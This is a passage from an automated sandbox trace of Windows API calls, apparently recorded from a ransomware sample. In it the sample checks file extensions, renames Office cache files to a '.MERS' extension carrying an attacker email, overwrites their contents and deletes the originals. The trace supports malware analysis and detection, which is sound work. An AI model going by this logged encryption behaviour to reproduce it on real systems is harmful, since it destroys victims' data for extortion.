lpNumberOfBytesWritten=0x2a8fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0046.937] ReadFile (in: hFile=0x214, lpBuffer=0x3510020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesRead=0x2a8fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.938] WriteFile (in: hFile=0x1c4, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2a8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fc9c*=0x104, lpOverlapped=0x0) returned 1 [0046.938] SetEndOfFile (hFile=0x1c4) returned 1 [0046.938] CloseHandle (hObject=0x1c4) returned 1 [0046.938] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.938] SetEndOfFile (hFile=0x214) returned 1 [0047.088] CloseHandle (hObject=0x214) returned 1 [0047.088] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0047.088] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0047.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.089] lstrlenW (lpString=".doc") returned 4 [0047.089] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0047.089] lstrlenW (lpString=".docx") returned 5 [0047.089] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0047.089] lstrlenW (lpString=".pdf") returned 4 [0047.089] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0047.089] lstrlenW (lpString=".xls") returned 4 [0047.089] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0047.129] lstrlenW (lpString=".xlsx") returned 5 [0047.129] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0047.129] lstrlenW (lpString=".ppt") returned 4 [0047.129] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0047.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.129] lstrlenW (lpString=".zip") returned 4 [0047.129] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0047.129] lstrlenW (lpString=".rar") returned 4 [0047.129] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0047.129] lstrlenW (lpString=".bz2") returned 4 [0047.129] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0047.129] lstrlenW (lpString=".7z") returned 3 [0047.129] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0047.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.129] lstrlenW (lpString=".dbf") returned 4 [0047.129] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0047.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.129] lstrlenW (lpString=".1cd") returned 4 [0047.129] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0047.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.129] lstrlenW (lpString=".jpg") returned 4 [0047.129] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0047.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.129] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.129] lstrlenW (lpString=".doc") returned 4 [0047.129] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0047.130] lstrlenW (lpString=".docx") returned 5 [0047.130] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0047.130] lstrlenW (lpString=".pdf") returned 4 [0047.130] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0047.130] lstrlenW (lpString=".xls") returned 4 [0047.130] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0047.130] lstrlenW (lpString=".xlsx") returned 5 [0047.130] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0047.130] lstrlenW (lpString=".ppt") returned 4 [0047.130] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0047.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.130] lstrlenW (lpString=".zip") returned 4 [0047.130] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0047.130] lstrlenW (lpString=".rar") returned 4 [0047.130] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0047.130] lstrlenW (lpString=".bz2") returned 4 [0047.130] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0047.130] lstrlenW (lpString=".7z") returned 3 [0047.130] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0047.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.130] lstrlenW (lpString=".dbf") returned 4 [0047.130] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0047.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.130] lstrlenW (lpString=".1cd") returned 4 [0047.130] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0047.130] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0047.130] lstrlenW (lpString=".jpg") returned 4 [0047.130] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0047.130] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0047.130] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0047.130] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.132] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=222948913) returned 1 [0047.132] CloseHandle (hObject=0x1f0) returned 1 [0047.132] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0047.132] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.132] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0047.133] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0047.133] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.133] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.133] ReadFile (in: hFile=0x1f0, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.311] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.311] ReadFile (in: hFile=0x1f0, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.364] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0047.364] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.364] ReadFile (in: hFile=0x1f0, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0047.415] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.415] WriteFile (in: hFile=0x1f0, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0047.705] SetEndOfFile (hFile=0x1f0) returned 1 [0047.706] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x43e0068 [0047.771] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.771] WriteFile (in: hFile=0x1f0, lpBuffer=0x43e0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43e0068*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.772] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.772] WriteFile (in: hFile=0x1f0, lpBuffer=0x43e0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43e0068*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.775] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.775] WriteFile (in: hFile=0x1f0, lpBuffer=0x43e0068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43e0068*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.777] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x43e0068 | out: hHeap=0x5f0000) returned 1 [0047.777] CloseHandle (hObject=0x1f0) returned 1 [0047.777] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0047.777] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.778] lstrlenW (lpString=".doc") returned 4 [0047.778] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.778] lstrlenW (lpString=".docx") returned 5 [0047.778] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0047.778] lstrlenW (lpString=".pdf") returned 4 [0047.778] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.778] lstrlenW (lpString=".xls") returned 4 [0047.778] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.778] lstrlenW (lpString=".xlsx") returned 5 [0047.778] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0047.778] lstrlenW (lpString=".ppt") returned 4 [0047.778] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.778] lstrlenW (lpString=".zip") returned 4 [0047.778] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.778] lstrlenW (lpString=".rar") returned 4 [0047.778] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.778] lstrlenW (lpString=".bz2") returned 4 [0047.778] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.778] lstrlenW (lpString=".7z") returned 3 [0047.778] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.778] lstrlenW (lpString=".dbf") returned 4 [0047.778] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.778] lstrlenW (lpString=".1cd") returned 4 [0047.778] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.778] lstrlenW (lpString=".jpg") returned 4 [0047.778] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.778] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.778] lstrlenW (lpString=".doc") returned 4 [0047.778] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0047.778] lstrlenW (lpString=".docx") returned 5 [0047.779] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0047.779] lstrlenW (lpString=".pdf") returned 4 [0047.779] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0047.779] lstrlenW (lpString=".xls") returned 4 [0047.779] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0047.779] lstrlenW (lpString=".xlsx") returned 5 [0047.779] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0047.779] lstrlenW (lpString=".ppt") returned 4 [0047.779] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0047.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.779] lstrlenW (lpString=".zip") returned 4 [0047.779] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0047.779] lstrlenW (lpString=".rar") returned 4 [0047.779] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0047.779] lstrlenW (lpString=".bz2") returned 4 [0047.779] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0047.779] lstrlenW (lpString=".7z") returned 3 [0047.779] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0047.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.779] lstrlenW (lpString=".dbf") returned 4 [0047.779] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0047.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.779] lstrlenW (lpString=".1cd") returned 4 [0047.779] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0047.779] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0047.779] lstrlenW (lpString=".jpg") returned 4 [0047.779] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0047.779] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0047.779] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0047.779] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.867] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2a8ff1c | out: lpFileSize=0x2a8ff1c*=36233052) returned 1 [0047.867] CloseHandle (hObject=0x1f8) returned 1 [0047.867] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0047.867] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0047.867] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0047.868] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0047.868] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0x0) returned 1 [0047.868] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0047.868] ReadFile (in: hFile=0x1f8, lpBuffer=0x3510058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3510058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.002] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.002] ReadFile (in: hFile=0x1f8, lpBuffer=0x3550058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3550058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.094] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2a8fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0048.094] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc2c | out: lpNewFilePointer=0x0) returned 1 [0048.094] ReadFile (in: hFile=0x1f8, lpBuffer=0x3590058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a8fc38, lpOverlapped=0x0 | out: lpBuffer=0x3590058*, lpNumberOfBytesRead=0x2a8fc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.217] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.217] WriteFile (in: hFile=0x1f8, lpBuffer=0x3510020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2a8fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3510020*, lpNumberOfBytesWritten=0x2a8fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0048.247] SetEndOfFile (hFile=0x1f8) returned 1 [0048.247] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x43a0048 [0048.318] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.318] WriteFile (in: hFile=0x1f8, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.321] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.321] WriteFile (in: hFile=0x1f8, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.322] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2a8fc7c | out: lpNewFilePointer=0x0) returned 1 [0048.322] WriteFile (in: hFile=0x1f8, lpBuffer=0x43a0048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a8fc88, lpOverlapped=0x0 | out: lpBuffer=0x43a0048*, lpNumberOfBytesWritten=0x2a8fc88*=0x40000, lpOverlapped=0x0) returned 1 [0048.324] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x43a0048 | out: hHeap=0x5f0000) returned 1 [0048.324] CloseHandle (hObject=0x1f8) returned 1 [0048.324] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0048.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.325] lstrlenW (lpString=".doc") returned 4 [0048.325] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.325] lstrlenW (lpString=".docx") returned 5 [0048.325] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0048.325] lstrlenW (lpString=".pdf") returned 4 [0048.325] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.325] lstrlenW (lpString=".xls") returned 4 [0048.325] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.325] lstrlenW (lpString=".xlsx") returned 5 [0048.325] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0048.325] lstrlenW (lpString=".ppt") returned 4 [0048.325] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0048.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.325] lstrlenW (lpString=".zip") returned 4 [0048.325] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0048.325] lstrlenW (lpString=".rar") returned 4 [0048.325] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0048.325] lstrlenW (lpString=".bz2") returned 4 [0048.325] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0048.325] lstrlenW (lpString=".7z") returned 3 [0048.325] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0048.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.325] lstrlenW (lpString=".dbf") returned 4 [0048.326] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0048.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.326] lstrlenW (lpString=".1cd") returned 4 [0048.326] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0048.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.326] lstrlenW (lpString=".jpg") returned 4 [0048.326] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0048.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0048.326] lstrlenW (lpString=".doc") returned 4 [0048.326] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0048.326] lstrlenW (lpString=".docx") returned 5 [0048.326] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0048.326] lstrlenW (lpString=".pdf") returned 4 [0048.326] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0048.326] lstrlenW (lpString=".xls") returned 4 [0048.326] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0048.326] lstrlenW 